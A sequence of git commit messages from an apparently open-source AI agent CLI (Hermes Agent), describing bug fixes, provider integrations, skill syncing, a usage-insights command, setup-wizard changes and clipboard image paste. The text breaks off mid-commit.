Updated the default model version from "anthropic/claude-sonnet-4-20250514" to "anthropic/claude-sonnet-4.6" across multiple files including AGENTS.md, batch_runner.py, mini_swe_runner.py, and run_agent.py for consistency and to reflect the latest model improvements.
_approval_callback() had no return statement after the timeout break,
causing it to return None. Callers expect a string ("once", "session",
"always", or "deny"), so None could lead to undefined behavior when
approving dangerous commands.
_convert_to_png() renamed the original file to .bmp before calling
ImageMagick convert, then unconditionally deleted the .bmp regardless
of whether convert succeeded. If convert failed, both files were gone.
- Only delete .bmp after confirmed successful conversion
- Restore original file on convert failure, timeout, or missing binary
- Add 3 tests covering failure, not-installed, and timeout scenarios
_make_cli() did not clear HERMES_MAX_ITERATIONS env var, so tests
failed in CI where the var was set externally. Also, default max_turns
changed from 60 to 90 in 0a82396 but tests were not updated.
- Clear HERMES_MAX_ITERATIONS in _make_cli() for proper isolation
- Add env_overrides parameter for tests that need specific env values
- Update hardcoded 60 assertions to 90 to match new default
- Simplify test_env_var_max_turns using env_overrides
Subagent tool calls now count toward the same session-wide iteration
limit as the parent agent. Previously, each subagent had its own
independent counter, so a parent with max_iterations=60 could spawn
3 subagents each doing 50 calls = 150 total tool calls unmetered.
Changes:
- IterationBudget: thread-safe shared counter (run_agent.py)
- consume(): try to use one iteration, returns False if exhausted
- refund(): give back one iteration (for execute_code turns)
- Thread-safe via Lock (subagents run in ThreadPoolExecutor)
- Parent creates the budget, children inherit it via delegate_tool.py
- execute_code turns are refunded (don't count against budget)
- Default raised from 60 → 90 to account for shared consumption
- Per-child cap (50) still applies as a safety valve
The per-child max_iterations (default 50) remains as a per-child
ceiling, but the shared budget is the hard session-wide limit.
A child stops at whichever comes first.
Enhance message compression by adding a method to clean up orphaned tool-call and tool-result pairs. This ensures that the API receives well-formed messages, preventing errors related to mismatched IDs. The new functionality includes removing orphaned results and adding stub results for missing calls, improving overall message integrity during compression.
When MarkdownV2 parsing fails, _strip_mdv2() removes escape backslashes
and bold markers (*text*) but missed italic markers (_text_). Users saw
raw underscores around italic text in the plaintext fallback.
- Add regex to strip _text_ italic markers in _strip_mdv2()
- Use word boundary lookaround to preserve snake_case identifiers
- Add tests for _strip_mdv2 covering italic, bold, snake_case, and edge cases
Add Python DDGS library examples for all 4 search types (text, news,
images, videos) with return field documentation, quick reference table,
and validated gotchas. Reorganize to put Python API primary, CLI secondary.
Soften Firecrawl-fallback framing. All examples validated on ddgs==9.11.2.
Check how many commits behind origin/main the local repo is and
display a warning in the welcome banner:
⚠ 12 commits behind — run hermes update to update
- git fetch cached for 6 hours (avoids repeated network calls)
- Falls back gracefully if offline or not a git repo
- Never breaks the banner — all errors silently caught
- tools_config.py: Add 'Local Browser' as first provider option
(no API keys needed, same npm install for agent-browser)
- setup.py: Show 'Browser Automation (local)' when agent-browser
CLI is found but no Browserbase key is set
- config.py: Mark BROWSERBASE_* descriptions as optional
- status.py: Note that local browser works without Browserbase
When Telegram's MarkdownV2 parser rejects a message, the send() fallback
was sending the already-escaped text as plain text. This caused users to
see raw backslashes before every special character (periods, dashes,
parentheses, etc.) — e.g. 'sentence\.' or '\-\-auto\-approve'.
Changes:
- Add _strip_mdv2() to reverse MarkdownV2 escaping for clean plaintext
- Use stripped text in the send() fallback path instead of raw escaped chunk
- Add logging when the MDV2 fallback is triggered for diagnostics
- Add logger to telegram.py (was missing)
The edit_message() fallback already correctly used the original content;
this brings send() in line with that behavior.
Add local browser mode as an automatic fallback when Browserbase
credentials are not configured. Uses the same agent-browser CLI with
--session (local Chromium) instead of --cdp (cloud Browserbase).
The agent-facing API is completely unchanged — all 10 browser_* tools
produce identical output in both modes. Auto-detection:
- BROWSERBASE_API_KEY set → cloud mode (existing behavior)
- No key → local mode (new, free, headless Chromium)
Changes:
- _is_local_mode(): auto-detect based on env vars
- _create_local_session(): lightweight session (no API call)
- _get_session_info(): branches on local vs cloud
- _run_browser_command(): --session in local, --cdp in cloud
- check_browser_requirements(): only needs agent-browser CLI in local mode
- _emergency_cleanup: CLI close in local, API release in cloud
- cleanup_browser/browser_close: skip BB API calls in local mode
- Registry: removed requires_env — check_fn handles both modes
Setup for local mode:
npm install -g agent-browser
agent-browser install # downloads Chromium
agent-browser install --with-deps # also installs system libs (Docker/Debian)
Closes#374 (Phase 1)
Add a 'platforms' field to SKILL.md frontmatter that restricts skills
to specific operating systems. Skills with platforms: [macos] only
appear in the system prompt, skills_list(), and slash commands on macOS.
Skills without the field load everywhere (backward compatible).
Implementation:
- skill_matches_platform() in tools/skills_tool.py — core filter
- Wired into all 3 discovery paths: prompt_builder.py, skills_tool.py,
skill_commands.py
- 28 new tests across 3 test files
New bundled Apple/macOS skills (all platforms: [macos]):
- imessage — Send/receive iMessages via imsg CLI
- apple-reminders — Manage Reminders via remindctl CLI
- apple-notes — Manage Notes via memo CLI
- findmy — Track devices/AirTags via AppleScript + screen capture
Docs updated: CONTRIBUTING.md, AGENTS.md, creating-skills.md,
skills.md (user guide)
The previous 'get_env_value' in dir() check always evaluated to False
(dir() returns local scope, not module scope), making the left branch
dead code. Simplified to just os.getenv() which was the fallback anyway.
Authored by areu01or00. Adds timezone support via hermes_time.now() helper
with IANA timezone resolution (HERMES_TIMEZONE env → config.yaml → server-local).
Updates system prompt timestamp, cron scheduling, and execute_code sandbox TZ
injection. Includes config migration (v4→v5) and comprehensive test coverage.
uv pip install requires a virtual environment by default. When hermes
is installed system-wide or via pipx, the setup wizard's SDK installs
(daytona, swe-rex[modal], tinker-atropos) fail with 'No virtual
environment found'. Fix by passing --python sys.executable to uv,
which targets the correct Python regardless of venv state.
Also show the actual error message on install failure so users can
debug.
config['model'] can be a dict (old format: {default, base_url, provider})
or a string (new format). The setup wizard was showing the raw dict in
'Keep current' and 'Model set to' messages. Now extracts the model name
from either format.
Both 'hermes tools' and 'hermes setup tools' now use the same unified
flow in tools_config.py:
1. Select platform (CLI, Telegram, Discord, etc.)
2. Toggle all 18 toolsets on/off in checklist
3. Newly enabled tools that need API keys → provider-aware config
(e.g., TTS shows Edge/OpenAI/ElevenLabs picker)
4. Already-configured tools that stay enabled → silent, no prompts
5. Menu option: 'Reconfigure an existing tool' for updating
providers or API keys on tools that are already set up
Key changes:
- Move TOOL_CATEGORIES, provider config, and post-setup hooks from
setup.py to tools_config.py
- Replace flat _check_and_prompt_requirements() with provider-aware
_configure_toolset() that uses TOOL_CATEGORIES
- Add _reconfigure_tool() flow for updating existing configs
- setup.py's setup_tools() now delegates to tools_command()
- tools_command() menu adds 'Reconfigure' option alongside platforms
- Only prompt for API keys on tools that are NEWLY toggled on AND
don't already have keys configured
No breaking changes. All 2013 tests pass.
simple_term_menu miscalculates string widths when labels contain
ANSI escape codes (from color()) or em dashes, causing duplicated
and garbled lines on arrow key navigation.
Replace color() status indicators with plain text [configured]/[active]
and em dashes with regular dashes in all prompt_choice/prompt_checklist
labels.
Restructure the monolithic hermes setup wizard into independently-runnable
sections with a category-first tool configuration experience.
Changes:
- Break setup into 5 sections: model, terminal, gateway, tools, agent
- Each section is a standalone function, runnable individually via
'hermes setup model', 'hermes setup terminal', etc.
- Returning users get a menu: Quick Setup / Full Setup / individual sections
- First-time users get a guided walkthrough of all sections
Tool Configuration UX overhaul:
- Replace flat API key checklist with category-first approach
- Show tool types (TTS, Web Search, Image Gen, etc.) as top-level items
- Within each category, let users pick a provider:
- TTS: Microsoft Edge (Free), OpenAI, ElevenLabs
- Web: Firecrawl Cloud, Firecrawl Self-Hosted
- Image Gen: FAL.ai
- Browser: Browserbase
- Smart Home: Home Assistant
- RL Training: Tinker/Atropos
- GitHub: Personal Access Token
- Shows configured status on each tool and provider
- Only prompts for API keys after provider selection
Also:
- Add section argument to setup argparse parser in main.py
- Update summary to show new section commands
- Add self-hosted Firecrawl and Home Assistant to tool setup
- All 2013 tests pass
When `fetch_nous_models()` fails silently during setup, the model
selection falls through to the OpenRouter static list. Users then pick
models in OpenRouter format (e.g. `anthropic/claude-opus-4.6`) which
the Nous inference API rejects with a 400 "missing model" error.
Add an explicit `elif selected_provider == "nous"` branch that prompts
for manual model entry instead of falling through to the generic
OpenRouter fallback.
Adds eval-only benchmark for YC-Bench (collinear-ai/yc-bench), a
deterministic long-horizon benchmark where the agent acts as CEO of an
AI startup over a simulated 1-3 year run.
Key design decisions verified against the official yc-bench repo:
- Uses 'sim init' (NOT 'yc-bench run') to avoid starting a competing
built-in agent loop
- Correct DB table names: 'companies' and 'sim_events'
- Correct 4 domains: research, inference, data_environment, training
- Penalty values are preset-dependent (not hardcoded in system prompt)
- Sequential evaluation (each run is 100-500 turns)
- Follows TerminalBench2 patterns: KeyboardInterrupt handling,
cleanup_all_environments(), tqdm logging handler, streaming JSONL
yc-bench added as optional dependency: pip install hermes-agent[yc-bench]
Closes#340
These direct providers don't return cost in API responses and their
per-token pricing isn't readily available externally. Treat as local
models with zero cost so they appear in /insights without fake estimates.
When the user only has a z.ai/Kimi/MiniMax API key (no OpenRouter key),
auxiliary tasks (context compression, web summarization, session search)
now fall back to the configured direct provider instead of returning None.
Resolution chain: OpenRouter -> Nous -> Custom endpoint -> Codex OAuth
-> direct API-key providers -> None.
Uses cheap/fast models for auxiliary tasks:
- zai: glm-4.5-flash
- kimi-coding: kimi-k2-turbo-preview
- minimax/minimax-cn: MiniMax-M2.5-highspeed
Vision auxiliary intentionally NOT modified — vision needs multimodal
models (Gemini) that these providers don't serve.
Adds DEFAULT_CONTEXT_LENGTHS entries for kimi-k2.5 (262144), kimi-k2-thinking
(262144), kimi-k2-turbo-preview (262144), kimi-k2-0905-preview (131072),
MiniMax-M2.5/M2.5-highspeed/M2.1 (204800), and glm-4.5/4.5-flash (131072).
Avoids unnecessary 2M-token probe on first use with direct providers.
Introduces a new OpenClaw-to-Hermes migration skill with a Python
helper script that handles importing SOUL.md, memories, user profiles,
messaging settings, command allowlists, skills, TTS assets, and
workspace instructions.
Supports two migration presets (user-data / full), three skill conflict
modes (skip / overwrite / rename), overflow file export for entries that
exceed character limits, and granular include/exclude option filtering.
Includes detailed SKILL.md agent instructions covering the clarify-tool
interaction protocol, decision-to-command mapping, post-run reporting
rules, and path resolution guidance.
Adds dynamic panel width calculation to CLI clarify/approval widgets so
panels adapt to content and terminal size.
Includes 7 new tests covering presets, include/exclude, conflict modes,
overflow exports, and skills_guard integration.
Adds 4 new direct API-key providers (zai, kimi-coding, minimax, minimax-cn)
to the inference provider system. All use standard OpenAI-compatible
chat/completions endpoints with Bearer token auth.
Core changes:
- auth.py: Extended ProviderConfig with api_key_env_vars and base_url_env_var
fields. Added providers to PROVIDER_REGISTRY. Added provider aliases
(glm, z-ai, zhipu, kimi, moonshot). Added auto-detection of API-key
providers in resolve_provider(). Added resolve_api_key_provider_credentials()
and get_api_key_provider_status() helpers.
- runtime_provider.py: Added generic API-key provider branch in
resolve_runtime_provider() — any provider with auth_type='api_key'
is automatically handled.
- main.py: Added providers to hermes model menu with generic
_model_flow_api_key_provider() flow. Updated _has_any_provider_configured()
to check all provider env vars. Updated argparse --provider choices.
- setup.py: Added providers to setup wizard with API key prompts and
curated model lists.
- config.py: Added env vars (GLM_API_KEY, KIMI_API_KEY, MINIMAX_API_KEY,
etc.) to OPTIONAL_ENV_VARS.
- status.py: Added API key display and provider status section.
- doctor.py: Added connectivity checks for each provider endpoint.
- cli.py: Updated provider docstrings.
Docs: Updated README.md, .env.example, cli-config.yaml.example,
cli-commands.md, environment-variables.md, configuration.md.
Tests: 50 new tests covering registry, aliases, resolution, auto-detection,
credential resolution, and runtime provider dispatch.
Inspired by PR #33 (numman-ali) which proposed a provider registry approach.
Credit to tars90percent (PR #473) and manuelschipper (PR #420) for related
provider improvements merged earlier in this changeset.
Authored by manuelschipper. Adds GLM-4.7 and GLM-5 context lengths (202752)
to model_metadata.py. The key priority fix (prefer OPENAI_API_KEY for
non-OpenRouter endpoints) was already applied in PR #295; merged the Z.ai
mention into the comment.
When a user disables the web toolset via 'hermes tools', the execute_code
schema description still hardcoded web_search/web_extract as available,
causing the model to keep trying to use them. Similarly, delegate_task
always defaulted to ['terminal', 'file', 'web'] for subagents regardless
of the parent's config.
Changes:
- execute_code schema is now built dynamically via build_execute_code_schema()
based on which sandbox tools are actually enabled
- model_tools.py rebuilds the execute_code schema at definition time using
the intersection of sandbox-allowed and session-enabled tools
- delegate_task now inherits the parent agent's enabled_toolsets instead of
hardcoding DEFAULT_TOOLSETS when no explicit toolsets are specified
- delegate_task description updated to say 'inherits your enabled toolsets'
Reported by kotyKD on Discord.
Two bugs fixed:
1. search_messages() crashes with OperationalError when user queries
contain FTS5 special characters (+, ", (, {, dangling AND/OR, etc).
Added _sanitize_fts5_query() to strip dangerous operators and a
fallback try-except for edge cases.
2. _append_to_sqlite() in mirror.py creates a new SessionDB per call
but never closes it, leaking SQLite connections. Added finally block
to ensure db.close() is always called.
API key selection is now base_url-aware: when the resolved base_url
targets OpenRouter, OPENROUTER_API_KEY takes priority (preserving the
#289 fix). When hitting any other endpoint (Z.ai, vLLM, custom, etc.),
OPENAI_API_KEY takes priority so the OpenRouter key doesn't leak.
Applied in both the runtime provider resolver (the real code path) and
the CLI initial default (for consistency).
Fixes#560.
_make_cli() now patches CLI_CONFIG with clean defaults so
test_cli_init tests don't depend on the developer's local config.yaml.
test_empty_dir_returns_empty now mocks Path.home() so it doesn't pick
up a global SOUL.md.
Credit to teyrebaz33 for identifying and fixing these in PR #557.
Fixes#555.
tool_call_count was inaccurate in two ways:
1. Under-counting: an assistant message with N parallel tool calls
(e.g. "kill the light and shut off the fan" = 2 ha_call_service)
only incremented tool_call_count by 1 instead of N.
2. Over-counting: tool response messages (role=tool) also incremented
tool_call_count, double-counting every tool interaction.
Combined: 2 parallel tool calls produced tool_call_count=3 (1 from
assistant + 2 from tool responses) instead of the correct value of 2.
Fix: only count from assistant messages with tool_calls, incrementing
by len(tool_calls) to handle parallel calls correctly. Tool response
messages no longer affect tool_call_count.
This impacts /insights and /usage accuracy for sessions with tool use.
Two bugs in sync_skills():
1. Failed copytree poisons manifest: when shutil.copytree fails (disk
full, permission error), the skill is still recorded in the manifest.
On the next sync, the skill appears as "in manifest but not on disk"
which is interpreted as "user deliberately deleted it" — the skill
is never retried. Fix: only write to manifest on successful copy.
2. Failed update destroys user copy: rmtree deletes the existing skill
directory before copytree runs. If copytree then fails, the user's
skill is gone with no way to recover. Fix: move to .bak before
copying, restore from backup if copytree fails.
Both bugs are proven by new regression tests that fail on the old code
and pass on the fix.
- Added fallback mechanism to utilize previous content when the model generates an empty response after tool calls, reducing unnecessary API retries.
- Enhanced logging to indicate when prior content is used as a final response.
- Updated logic to ensure that genuine empty responses are retried appropriately, maintaining user experience.
- website/docs/reference/cli-commands.md: Added 'hermes insights' terminal
command section with --days and --source flags, plus /insights slash command
in the Conversation section
- website/docs/user-guide/cli.md: Added /insights to slash commands table
- website/docs/user-guide/messaging/index.md: Added /insights to gateway
chat commands table
- website/docs/user-guide/sessions.md: Added cross-reference to hermes
insights from the sessions stats section
Upgrade skills_sync manifest to v2 format (name:origin_hash). The origin
hash records the MD5 of the bundled skill at the time it was last synced.
On update, the user's copy is compared against the origin hash:
- User copy == origin hash → unmodified → safe to update from bundled
- User copy != origin hash → user customized → skip (preserve changes)
v1 manifests (plain names) are auto-migrated: the user's current hash
becomes the baseline, so future syncs can detect modifications.
Output now shows user-modified skills:
~ whisper (user-modified, skipping)
27 tests covering all scenarios including v1→v2 migration, user
modification detection, update after migration, and origin hash tracking.
2009 tests pass.
- Restored 21 skills removed in commits 757d012 and 740dd92:
accelerate, audiocraft, code-review, faiss, flash-attention, gguf,
grpo-rl-training, guidance, llava, nemo-curator, obliteratus, peft,
pytorch-fsdp, pytorch-lightning, simpo, slime, stable-diffusion,
tensorrt-llm, torchtitan, trl-fine-tuning, whisper
- Rewrote sync_skills() with proper update semantics:
* New skills (not in manifest): copied to user dir
* Existing skills (in manifest + on disk): updated via hash comparison
* User-deleted skills (in manifest, not on disk): respected, not re-added
* Stale manifest entries (removed from bundled): cleaned from manifest
- Added sync_skills() to CLI startup (cmd_chat) and gateway startup
(start_gateway) — previously only ran during 'hermes update'
- Updated cmd_update output to show new/updated/cleaned counts
- Rewrote tests: 20 tests covering manifest CRUD, dir hashing, fresh
install, user deletion respect, update detection, stale cleanup, and
name collision handling
75 bundled skills total. 2002 tests pass.
Issues found and fixed during deep code path review:
1. CRITICAL: Prefix matching returned wrong prices for dated model names
- 'gpt-4o-mini-2024-07-18' matched gpt-4o ($2.50) instead of gpt-4o-mini ($0.15)
- Same for o3-mini→o3 (9x), gpt-4.1-mini→gpt-4.1 (5x), gpt-4.1-nano→gpt-4.1 (20x)
- Fix: use longest-match-wins strategy instead of first-match
- Removed dangerous key.startswith(bare) reverse matching
2. CRITICAL: Top Tools section was empty for CLI sessions
- run_agent.py doesn't set tool_name on tool response messages (pre-existing)
- Insights now also extracts tool names from tool_calls JSON on assistant
messages, which IS populated for all sessions
- Uses max() merge strategy to avoid double-counting between sources
3. SELECT * replaced with explicit column list
- Skips system_prompt and model_config blobs (can be thousands of chars)
- Reduces memory and I/O for large session counts
4. Sets in overview dict converted to sorted lists
- models_with_pricing / models_without_pricing were Python sets
- Sets aren't JSON-serializable — would crash json.dumps()
5. Negative duration guard
- end > start check prevents negative durations from clock drift
6. Model breakdown sort fallback
- When all tokens are 0, now sorts by session count instead of arbitrary order
7. Removed unused timedelta import
Added 6 new tests: dated model pricing (4), tool_calls JSON extraction,
JSON serialization safety. Total: 69 tests.
Custom OAI endpoints, self-hosted models, and local inference should NOT
show fabricated cost estimates. Changed default pricing from $3/$12 per
million tokens to $0/$0 for unrecognized models.
- Added _has_known_pricing() to distinguish commercial vs custom models
- Models with known pricing show $ amounts; unknown models show 'N/A'
- Overview shows asterisk + note when some models lack pricing data
- Gateway format adds '(excludes custom/self-hosted models)' note
- Added 7 new tests for custom model cost handling
Comprehensive guide for using Hermes Agent with alternative LLM backends:
- Ollama (local models, zero config)
- vLLM (high-performance GPU inference)
- SGLang (RadixAttention, prefix caching)
- llama.cpp / llama-server (CPU & Metal inference)
- LiteLLM Proxy (multi-provider gateway)
- ClawRouter (cost-optimized routing with complexity scoring)
- 10+ other compatible providers table (Together, Groq, DeepSeek, etc.)
- Choosing the Right Setup decision table
- General custom endpoint setup instructions
All of these work via the existing OPENAI_BASE_URL + OPENAI_API_KEY
custom endpoint support — no code changes needed.
Comprehensive guide for using Hermes Agent with alternative LLM backends:
- Ollama (local models, zero config)
- vLLM (high-performance GPU inference)
- SGLang (RadixAttention, prefix caching)
- llama.cpp / llama-server (CPU & Metal inference)
- LiteLLM Proxy (multi-provider gateway)
- ClawRouter (cost-optimized routing with complexity scoring)
- 10+ other compatible providers table (Together, Groq, DeepSeek, etc.)
- Choosing the Right Setup decision table
- General custom endpoint setup instructions
All of these work via the existing OPENAI_BASE_URL + OPENAI_API_KEY
custom endpoint support — no code changes needed.
Inspired by Claude Code's /insights, adapted for Hermes Agent's multi-platform
architecture. Analyzes session history from state.db to produce comprehensive
usage insights.
Features:
- Overview stats: sessions, messages, tokens, estimated cost, active time
- Model breakdown: per-model sessions, tokens, and cost estimation
- Platform breakdown: CLI vs Telegram vs Discord etc. (unique to Hermes)
- Tool usage ranking: most-used tools with percentages
- Activity patterns: day-of-week chart, peak hours, streaks
- Notable sessions: longest, most messages, most tokens, most tool calls
- Cost estimation: real pricing data for 25+ models (OpenAI, Anthropic,
DeepSeek, Google, Meta) with fuzzy model name matching
- Configurable time window: --days flag (default 30)
- Source filtering: --source flag to filter by platform
Three entry points:
- /insights slash command in CLI (supports --days and --source flags)
- /insights slash command in gateway (compact markdown format)
- hermes insights CLI subcommand (standalone)
Includes 56 tests covering pricing helpers, format helpers, empty DB,
populated DB with multi-platform data, filtering, formatting, and edge cases.
1. cron/jobs.py: respect HERMES_HOME env var for job storage path.
scheduler.py already uses os.getenv("HERMES_HOME", ...) but jobs.py
hardcodes Path.home() / ".hermes", causing path mismatch when
HERMES_HOME is set.
2. gateway/run.py: add Platform.HOMEASSISTANT to default_toolset_map
and platform_config_key. The adapter and hermes-homeassistant
toolset both exist but the mapping dicts omit it, so HomeAssistant
events silently fall back to the Telegram toolset.
3. tools/environments/daytona.py: use time.monotonic() for deadline
instead of float subtraction. All other backends (docker, ssh,
singularity, local) use monotonic clock for timeout tracking.
The accumulator pattern (deadline -= 0.2) drifts because
t.join(0.2) + interrupt checks take longer than 0.2s per iteration.
Authored by aydnOktay. Companion to PR #297 (batch_runner). Applies the
same atomic write pattern (temp file + fsync + os.replace) to both
_write_checkpoint() and recover_from_checkpoint() in process_registry.py.
Prevents checkpoint corruption on gateway crashes. Also improves error
handling: bare 'pass' replaced with logger.debug(..., exc_info=True)
for better debugging.
Previously pressing Escape in any setup wizard menu called sys.exit(1),
killing the entire wizard with no way to recover. Now:
- prompt_choice: Escape keeps the current default and moves on (prints
'Skipped (keeping current)'). Shows '↑/↓ Navigate Enter Select
Esc Skip Ctrl+C Exit' hint.
- prompt_checklist: Escape returns pre-selected items instead of empty
list. Shows 'SPACE Toggle ENTER Confirm ESC Skip Ctrl+C Exit'.
- prompt_yes_no: now catches KeyboardInterrupt/EOFError properly.
- Fallback number prompts also show control hints.
Ctrl+C still exits the wizard cleanly.
Authored by aydnOktay. Three improvements to batch_runner fault tolerance:
1) Atomic checkpoint writes (temp file + fsync + os.replace) to prevent
corruption on crashes — same pattern as auth.py's _save_auth_store().
2) Incremental checkpoints after each batch result instead of only at end,
so interrupted runs can resume with minimal progress loss.
3) Resume loads existing checkpoint state instead of initializing empty,
preventing clobber of prior progress.
Conflict resolved: kept both the incremental checkpoint logic (PR) and
the batch worker error handling (HEAD) in the imap_unordered loop.
The ripgrep/grep output parser uses `split(':', 2)` to extract
file:lineno:content from match lines. On Windows, absolute paths
contain a drive letter colon (e.g. `C:\Users\foo\bar.py:42:content`),
so `split(':', 2)` produces `["C", "\Users\...", "42:content"]`.
`int(parts[1])` then raises ValueError and the match is silently
dropped. All search results are lost on Windows.
Same category as #390 — string-based path parsing that fails on
Windows. Replace `split()` with a regex that optionally captures
the drive letter prefix: `^([A-Za-z]:)?(.*?):(\d+):(.*)$`.
Applied to both `_search_with_rg` and `_search_with_grep`.
Authored by Farukest. Fixes#432. Extracts _kill_port_process() helper
that uses netstat+taskkill on Windows and fuser on Linux. Previously,
fuser calls were inline with bare except-pass, so on Windows orphaned
bridge processes were never cleaned up — causing 'address already in use'
errors on reconnect. Includes 5 tests covering both platforms, port
matching edge cases, and exception suppression.
Authored by Farukest. Fixes#435. The retry summary in
_handle_max_iterations() hardcoded max_tokens instead of using
_max_tokens_param(), which returns max_completion_tokens for direct
OpenAI API (required by gpt-4o, o-series). The first attempt already
used _max_tokens_param correctly — only the retry path was wrong.
Includes 4 tests for _max_tokens_param provider detection.
Authored by PercyDikec. Fixes#440. _handle_retry_command called
_handle_message(retry_event) but discarded the return value, returning
None instead. Since only _process_message_background sends the response
via adapter.send(), this meant the agent would run (tool progress was
visible) but the final answer was silently dropped on all platforms.
Authored by PercyDikec. Fixes#443. Without re.DOTALL, the regex .*
doesn't match newlines, so multi-line JSON arguments (the normal case)
silently fail to parse. Every other parser in the codebase that matches
across lines already uses re.DOTALL.
Authored by PercyDikec. Fixes#447. The status display used
codex_status.get('auth_file') but get_codex_auth_status() in auth.py
returns the path under 'auth_store' (line 1220). This one-char key
mismatch silently dropped the auth file path from 'hermes status'.
Verifies explicit allowlist keys, catch-all _API_KEY/_TOKEN patterns,
case insensitivity, TERMINAL_SSH prefix, and config.yaml routing for
non-secret keys. Covers the fix from PR #469.
save_env_value() writes API keys to ~/.hermes/.env but never sets file
permissions, leaving the file world-readable (0644). auth.py already
restricts auth.json to 0600 — apply the same treatment to .env.
Skipped on Windows where chmod is not effective.
The mock handler checked for function_name == 'search' but the RPC
sends 'search_files'. Any test exercising search_files through the
mock would get 'Unknown tool' instead of the canned response.
Add daytona_image to batch_runner per-prompt container image overrides
so batch processing works with the Daytona backend. Update inline
comments in RL environment files (agent_loop, tool_context) and
process_registry docstrings to include Daytona in backend lists.
The _TOOL_STUBS dict in code_execution_tool.py was out of sync with the
actual tool schemas, causing TypeErrors when the LLM used parameters it
sees in its system prompt but the sandbox stubs didn't accept:
search_files:
- Added missing params: context, offset, output_mode
- Fixed target default: 'grep' → 'content' (old value was obsolete)
patch:
- Added missing params: mode, patch (V4A multi-file patch support)
Also added 4 drift-detection tests (TestStubSchemaDrift) that will
catch future divergence between stubs and real schemas:
- test_stubs_cover_all_schema_params: every schema param in stub
- test_stubs_pass_all_params_to_rpc: every stub param sent over RPC
- test_search_files_target_uses_current_values: no obsolete values
- test_generated_module_accepts_all_params: generated code compiles
All 28 tests pass.
Authored by rovle. Adds Daytona as the sixth terminal execution backend
with cloud sandboxes, persistent workspaces, and full CLI/gateway integration.
Includes 24 unit tests and 8 integration tests.
The execute_code sandbox generates a hermes_tools.py stub module for LLM
scripts. Three common failure modes keep tripping up scripts:
1. json.loads(strict=True) rejects control chars in terminal() output
(e.g., GitHub issue bodies with literal tabs/newlines)
2. Shell backtick/quote interpretation when interpolating dynamic content
into terminal() commands (markdown with backticks gets eaten by bash)
3. No retry logic for transient network failures (API timeouts, rate limits)
Adds three convenience helpers to the generated hermes_tools module:
- json_parse(text) — json.loads with strict=False for tolerant parsing
- shell_quote(s) — shlex.quote() for safe shell interpolation
- retry(fn, max_attempts=3, delay=2) — exponential backoff wrapper
Also updates the EXECUTE_CODE_SCHEMA description to document these helpers
so LLMs know they're available without importing anything extra.
Includes 7 new tests (unit + integration) covering all three helpers.
Address code review findings:
Security (Medium):
- Path traversal guard in OptionalSkillSource.fetch() — resolve() and
validate that the path stays within optional-skills/ before reading
Bug fixes (Medium):
- Add 'builtin' to trust_style dicts in do_inspect() and
_resolve_short_name() — official skills now show bright_cyan 'official'
label consistently across all display functions (5/5 dicts fixed)
Edge cases (Low):
- Clamp page_size to [1, 100] in do_browse() to prevent ZeroDivisionError
- Update SkillMeta.source docstring to include 'official'
- Add browse command to optional-skills/DESCRIPTION.md
Add a browse command that shows all available skills across all registries,
paginated and sorted with official skills first.
Usage:
hermes skills browse # all sources, page 1
hermes skills browse --source official # only official optional skills
hermes skills browse --page 2 # page 2
hermes skills browse --size 30 # 30 per page
/skills browse # slash command in chat
Features:
- Official optional skills always appear first (★ marker, cyan styling)
- Per-source limits prevent overloading (100 official/github, 50 others)
- Deduplication by name preferring higher trust
- Sorted: official > trusted > community, then alphabetical
- Page navigation hints at bottom
- Source counts summary
- Works in both CLI and /skills chat interface
- Added 'official' as source filter option for search command too
Add 'optional-skills/' directory for official skills that ship with the repo
but are not copied to ~/.hermes/skills/ during setup. They are:
- NOT shown to the model in the system prompt
- NOT copied during hermes setup/update
- Discoverable via 'hermes skills search' labeled as 'official'
- Installable via 'hermes skills install' with builtin trust (no third-party warning)
- Auto-categorized on install based on directory structure
Implementation:
- OptionalSkillSource adapter in tools/skills_hub.py (search/fetch/inspect)
- Added to create_source_router() as first source (highest priority)
- Trust level 'builtin' for official skills in skills_guard.py
- Friendly install message for official skills (no third-party warning)
- 'official' label in cyan in search results and skill list
First optional skill: Blackbox CLI (autonomous-ai-agents/blackbox)
- Multi-model coding agent with built-in judge/Chairman pattern
- Delegates to Claude, Codex, Gemini, and Blackbox models
- Open-source CLI (GPL-3.0, TypeScript, forked from Gemini CLI)
- Requires paid Blackbox AI API key
Refs: #475
New docs page covering clipboard image paste across all platforms:
- Platform compatibility table (macOS, Linux X11/Wayland, WSL2, VSCode, SSH)
- Setup instructions per platform (xclip, wl-paste, powershell.exe)
- Explanation of terminal paste limitations and why /paste exists
- SSH workarounds (file upload, URLs, X11 forwarding, messaging)
- Keybinding reference (Alt+V, Ctrl+V, /paste) with when each works
Also updates CLI commands reference with /paste command and
Alt+V keybinding documentation.
Alt key combos pass through all terminal emulators (sent as ESC + key),
unlike Ctrl+V which terminals intercept for text paste. This is the
reliable way to attach clipboard images on WSL2, Windows Terminal,
VSCode, and SSH sessions where Ctrl+V never reaches the application
for image-only clipboard content.
Also adds 'Paste image: Alt+V (or /paste)' hint to /help output.
start_gateway() now checks for an existing running instance via PID file
before starting. If another gateway is already running under the same
HERMES_HOME, it refuses to start with a clear error message directing the
user to 'hermes gateway restart' or 'hermes gateway stop'.
Also fixes gateway/status.py to respect the HERMES_HOME env var instead of
hardcoding ~/.hermes. This scopes the PID file per HERMES_HOME directory,
which lays the groundwork for future multi-profile support where distinct
HERMES_HOME directories can run concurrent gateway instances independently.
The original implementation only supported xclip (X11), which silently
fails on WSL2 (can't access Windows clipboard for images), Wayland
desktops (xclip is X11-only), and VSCode terminal on WSL2.
Clipboard backend changes (hermes_cli/clipboard.py):
- WSL2: detect via /proc/version, use powershell.exe with .NET
System.Windows.Forms.Clipboard to extract images as base64 PNG
- Wayland: use wl-paste with MIME type detection, auto-convert BMP
to PNG for WSLg environments (via Pillow or ImageMagick)
- Dispatch order: WSL → Wayland → X11 (xclip), with fallthrough
- New has_clipboard_image() for lightweight clipboard checks
- Cache WSL detection result per-process
CLI changes (cli.py):
- /paste command: explicit clipboard image check for terminals where
BracketedPaste doesn't fire (image-only clipboard in VSCode/WinTerm)
- Ctrl+V keybinding: fallback for Linux terminals where Ctrl+V sends
raw byte instead of triggering bracketed paste
Tests: 80 tests (up from 37) covering WSL, Wayland, X11 dispatch,
BMP conversion, has_clipboard_image, and /paste command.
Copy an image to clipboard (screenshot, browser, etc.) and paste into
the Hermes CLI. The image is saved to ~/.hermes/images/, shown as a
badge above the input ([📎 Image #1]), and sent to the model as a
base64-encoded OpenAI vision multimodal content block.
Implementation:
- hermes_cli/clipboard.py: clean module with platform-specific extraction
- macOS: pngpaste (if installed) → osascript fallback (always available)
